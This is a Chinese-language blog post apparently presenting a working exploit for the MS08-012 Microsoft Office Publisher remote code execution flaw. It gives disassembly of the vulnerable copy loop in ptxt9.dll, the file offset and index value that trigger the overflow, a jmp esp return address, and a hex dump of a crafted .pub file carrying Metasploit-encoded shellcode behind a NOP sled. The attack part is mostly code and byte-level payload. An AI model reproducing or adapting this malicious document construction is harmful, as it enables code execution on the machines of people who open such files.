MS08-012 Vulnerabilities in Microsoft Office Publisher Could Allow Remote Code exploit

手动构造了一个.pub文件,office 2003和windows 2000 server下成功运行一个计算器,不同的系统平台



在文件偏移0x78fe修改jmp esp的地址就可以了,漏洞跟ms08-011的差不多,存在漏洞的模块



ptxt9.dll文件中

text:31E1BABF                  push     ebp

.text:31E1BAC0                  mov      ebp, esp

.text:31E1BAC2                  sub      esp, 1Ch //分配的堆栈

.text:31E1BAC5                  mov      edx, [ebp+arg_0]

.text:31E1BAC8                  push     esi

.text:31E1BAC9                  mov      esi, ecx

.text:31E1BACB                  lea      ecx, [ebp+var_1C]

.text:31E1BACE                  call     bo_31E1BA3A

.text:31E1BAD3                  lea      eax, [ebp+var_1C]

.text:31E1BAD6                  push     eax

.text:31E1BAD7                  mov      ecx, esi

.text:31E1BAD9                  call     sub_31E19AB7

.text:31E1BADE                  pop      esi

.text:31E1BADF                  leave

.text:31E1BAE0                  retn     4

.text:31E1BAE0 sub_31E1BABF     endp



.text:31E1BA3A                  push     ebx

.text:31E1BA3B                  push     esi

.text:31E1BA3C                  mov      esi, edx

.text:31E1BA3E                  mov      ax, [esi]

.text:31E1BA41                  mov      ebx, ecx

.text:31E1BA43                  lea      edx, [esi+2]

.text:31E1BA46                  lea      ecx, [ebx+2]

.text:31E1BA49                  mov      [ebx], ax

.text:31E1BA4C                  call     sub_31E1BA2E

.text:31E1BA51                  mov      ax, [esi+8] //取索引号, 这里作为一个内存复制的计数器,手动构造,可以触发溢出。

.text:31E1BA55                  mov      [ebx+0Ah], ax

.text:31E1BA59                  mov      al, [ebx+0Ch]

.text:31E1BA5C                  xor      al, [esi+0Ah]

.text:31E1BA5F                  xor      edx, edx

.text:31E1BA61                  and      eax, 3

.text:31E1BA64                  xor      [ebx+0Ch], ax

.text:31E1BA68                  mov      cx, [ebx+0Ch]

.text:31E1BA6C                  mov      al, [esi+0Ah]

.text:31E1BA6F                  xor      al, cl

.text:31E1BA71                  and      eax, 4

.text:31E1BA74                  xor      eax, ecx

.text:31E1BA76                  mov      [ebx+0Ch], ax

.text:31E1BA7A                  mov      cl, [esi+0Ah]

.text:31E1BA7D                  xor      cl, al

.text:31E1BA7F                  and      ecx, 8

.text:31E1BA82                  xor      ecx, eax

.text:31E1BA84                  mov      [ebx+0Ch], cx

.text:31E1BA88                  mov      al, [esi+0Ah]

.text:31E1BA8B                  xor      al, cl

.text:31E1BA8D                  and      eax, 0Fh

.text:31E1BA90                  xor      ax, [esi+0Ah]

.text:31E1BA94                  cmp      [ebx+0Ah], dx

.text:31E1BA98                  mov      [ebx+0Ch], ax

.text:31E1BA9C                  jle      short loc_31E1BABC

.text:31E1BA9E                  lea      ecx, [ebx+0Eh]

.text:31E1BAA1                  lea      eax, [esi+0Ch]

.text:31E1BAA4                  push     edi

.text:31E1BAA5

.text:31E1BAA5 loc_31E1BAA5:                            ; CODE XREF: bo_31E1BA3A+7F j

.text:31E1BAA5                  mov      esi, eax

.text:31E1BAA7                  mov      edi, ecx

.text:31E1BAA9                  movsd                        

.text:31E1BAAA                  movsd 

.text:31E1BAAB                  movsd                     //每次复制12个字节

.text:31E1BAAC                  movsx    esi, word ptr [ebx+0Ah]

.text:31E1BAB0                  inc      edx

.text:31E1BAB1                  add      eax, 0Ch

.text:31E1BAB4                  add      ecx, 0Ch

.text:31E1BAB7                  cmp      edx, esi   //判断

.text:31E1BAB9                  jl       short loc_31E1BAA5

.text:31E1BABB                  pop      edi

.text:31E1BABC

.text:31E1BABC loc_31E1BABC:                            ; CODE XREF: bo_31E1BA3A+62 j

.text:31E1BABC                  pop      esi

.text:31E1BABD                  pop      ebx

.text:31E1BABE                  retn

.text:31E1BABE bo_31E1BA3A      endp





000078c0h: 43 48 4E 4B 49 4E 4B 20 04 00 07 00 0F 00 00 03 ; CHNKINK ........

000078d0h: 00 02 00 00 00 0C 00 00 F8 01 0F 00 FF FF FF FF ; ........?..

         

                                                 修改的索引号

                                                         |

                                                         0x2f

000078e0h: 18 00 54 45 58 54 00 00 2F 00 00 00 00 00 00 00 ; ..TEXT../.......

000078f0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00

                                                                             0x77e188a7覆盖返回地址,这个是jmp esp的地址

                                                                                  A7 88 ; .............. 

00007900h: E1 77

                        这里是跟的编码过的shellcode,来自于metasploit

                          90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 醱悙悙悙悙悙悙悙

00007910h: 90 90 EB 03 59 EB 05 E8 F8 FF FF FF 49 49 49 49 ; 悙?Y?桫IIII

00007920h: 49 49 49 49 49 49 49 49 49 37 49 49 49 49 51 5A ; IIIIIIIII7IIIIQZ

00007930h: 6A 42 58 50 30 41 31 42 41 6B 41 41 52 32 41 42 ; jBXP0A1BAkAAR2AB

00007940h: 41 32 42 41 30 42 41 58 50 38 41 42 75 38 69 79 ; A2BA0BAXP8ABu8iy

00007950h: 6C 4A 48 67 34 47 70 77 70 53 30 6E 6B 67 35 45 ; lJHg4GpwpS0nkg5E

00007960h: 6C 4C 4B 73 4C 74 45 31 68 54 41 68 6F 6C 4B 70 ; lLKsLtE1hTAholKp

00007970h: 4F 57 68 6E 6B 71 4F 45 70 65 51 5A 4B 67 39 4C ; OWhnkqOEpeQZKg9L

00007980h: 4B 50 34 4C 4B 77 71 68 6E 75 61 4B 70 4E 79 6E ; KP4LKwqhnuaKpNyn

00007990h: 4C 4D 54 4B 70 72 54 65 57 69 51 49 5A 46 6D 37 ; LMTKprTeWiQIZFm7

000079a0h: 71 6F 32 4A 4B 58 74 77 4B 41 44 44 64 35 54 72 ; qo2JKXtwKADDd5Tr

000079b0h: 55 7A 45 6C 4B 53 6F 51 34 37 71 48 6B 51 76 4C ; UzElKSoQ47qHkQvL

000079c0h: 4B 76 6C 50 4B 6E 6B 71 4F 67 6C 37 71 68 6B 4C ; KvlPKnkqOgl7qhkL

000079d0h: 4B 65 4C 4C 4B 64 41 58 6B 4B 39 53 6C 75 74 46 ; KeLLKdAXkK9SlutF

000079e0h: 64 78 43 74 71 49 50 30 64 6E 6B 43 70 44 70 4C ; dxCtqIP0dnkCpDpL

000079f0h: 45 4F 30 41 68 44 4C 4E 6B 63 70 44 4C 6E 6B 30 ; EO0AhDLNkcpDLnk0

00007a00h: 70 65 4C 4E 4D 6C 4B 30 68 75 58 7A 4B 35 59 4C ; peLNMlK0huXzK5YL

00007a10h: 4B 4D 50 58 30 37 70 47 70 77 70 6C 4B 65 38 57 ; KMPX07pGpwplKe8W

00007a20h: 4C 31 4F 66 51 48 76 65 30 70 56 4D 59 4A 58 6E ; L1OfQHve0pVMYJXn

00007a30h: 63 69 50 31 6B 76 30 55 38 5A 50 4E 6A 36 64 63 ; ciP1kv0U8ZPNj6dc

00007a40h: 6F 61 78 6A 38 4B 4E 6C 4A 54 4E 76 37 6B 4F 4B ; oaxj8KNlJTNv7kOK

00007a50h: 57 70 63 51 71 32 4C 52 43 37 70 42 90 90 90 90 ; WpcQq2LRC7pB悙悙

00007a60h: 90 90 90 90 90 90 90 90 01 00 00 00 54 45 58     ; 悙悙悙悙....TEX
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值